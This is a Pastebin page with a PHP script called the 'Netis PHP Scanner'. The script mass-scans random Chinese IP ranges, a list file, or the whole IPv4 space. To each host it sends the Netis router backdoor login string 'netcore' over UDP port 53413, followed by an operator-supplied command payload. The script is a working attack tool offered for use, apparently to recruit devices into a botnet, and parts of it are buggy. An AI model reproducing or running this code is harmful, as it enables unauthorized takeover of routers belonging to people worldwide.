Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- __ ___ _ _ _ ___ ____ _ _
- \ \ / (_) | | __ _(_)_ __ ( _ ) | _ \ ___ _ __ ___ ___ _ __ | |_ ___ __| |
- \ \ / /| | | |/ _` | | '_ \ / _ \/\ | | | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _ \/ _` |
- \ V / | | | | (_| | | | | | | (_> < | |_| | __/ | | | | | __/ | | | || __/ (_| |
- \_/ |_|_|_|\__,_|_|_| |_| \___/\/ |____/ \___|_| |_| |_|\___|_| |_|\__\___|\__,_|
- [+] Netis PHP Scanner [+]
- ...:: Created by Villain & Demented ::...
- */
- $payload = "enter payload";
- class Netis {
- protected $payload;
- public function __construct($payload){
- $this->payload = $payload;
- }
- public function Netis(){
- /* Scan random Chinese Ranges */
- $this->ranges = array('111.255', '101.16', '112.225', '118.80', '27.200');
- for($i = 0;$i < 255 ^ 3;$i++){
- $this->host = $this->ranges[0] . "." . rand(1,255) . "." . rand(1,255);
- $this->connection = fsockopen("udp://" . $this->host, 53413, $errstr, $errno, 3);
- while(!feof($this->connection)){
- // Login Payload & Command Payload
- fputs($this->connection, "AAAAAAAAnetcore\x00");
- fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
- print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
- break;
- }
- }
- }
- public function ListScan(){
- /* Scan for Netis IP List */
- $this->list = fopen('list.txt', 'r');
- while(!feof($this->list)){
- $this->line = fgets($this->list);
- $this->host = "udp://" . $this->line;
- $this->sock = fsockopen($this->host, 53413, $errno, $errstr, 3);
- while(!feof($this->sock)){
- // Login Payload & Command Payload
- fputs($this->connection, "AAAAAAAAnetcore\x00");
- fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
- print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
- break;
- }
- }
- }
- public function WorldScan(){
- $this->range = array();
- $this->range[1] = 1;
- $this->range[2] = 1;
- $this->range[3] = 1;
- $this->range[4] = 1;
- for($i = 0;$i < 255 ^ 4;$i++){
- if($this->range[4] == 255){
- $this->range[3]++;
- $this->range[4] = 1;
- }
- if($this->range[3] == 255){
- $this->range[2]++;
- $this->range[3] = 1;
- }
- if($this->range[2] == 255){
- $this->range[1]++;
- $this->range[2] = 1;
- }
- $this->host = $this->range[1] . "." . $this->range[2] . "." . $this->range[3] . "." . $this->range[4];
- $this->ip = "udp://" . $this->host;
- $this->sock = fsockopen($this->ip, 53413, $errstr, $errno, 3);
- while(!feof($this->sock)){
- fputs($this->sock, "AAAAAAAAnetcore\x00");
- fputs($this->sock, "AA\x00\x00AAAA " . $this->payload . "\x00");
- print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
- break;
- }
- $this->range[4]++;
- }
- }
- }
- $netis = new Netis($payload);
- if(empty($argv[1])){
- print "\033[01;31mNo arguements given";
- exit(1);
- }
- if($argc !== 1){
- switch(strtolower($argv[1])){
- case "random":
- $netis->Netis();
- break;
- case 'list':
- $netis->ListScan();
- break;
- case 'world':
- $netis->WorldScan();
- break;
- }
- } else {
- print "\033[01;33mUsage: \033[01;37mphp script.php random \033[01;33m - Scan for random Chinese ranges\n";
- print "\033[01;33mUsage: \033[01;37mphp script.php list \033[01;33m - Scan from pre-made IP list\n";
- print "\033[01;33mUsage: \033[01;37mphp script.php world \033[01;33m - Mass scan the world\n";
- exit(1);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement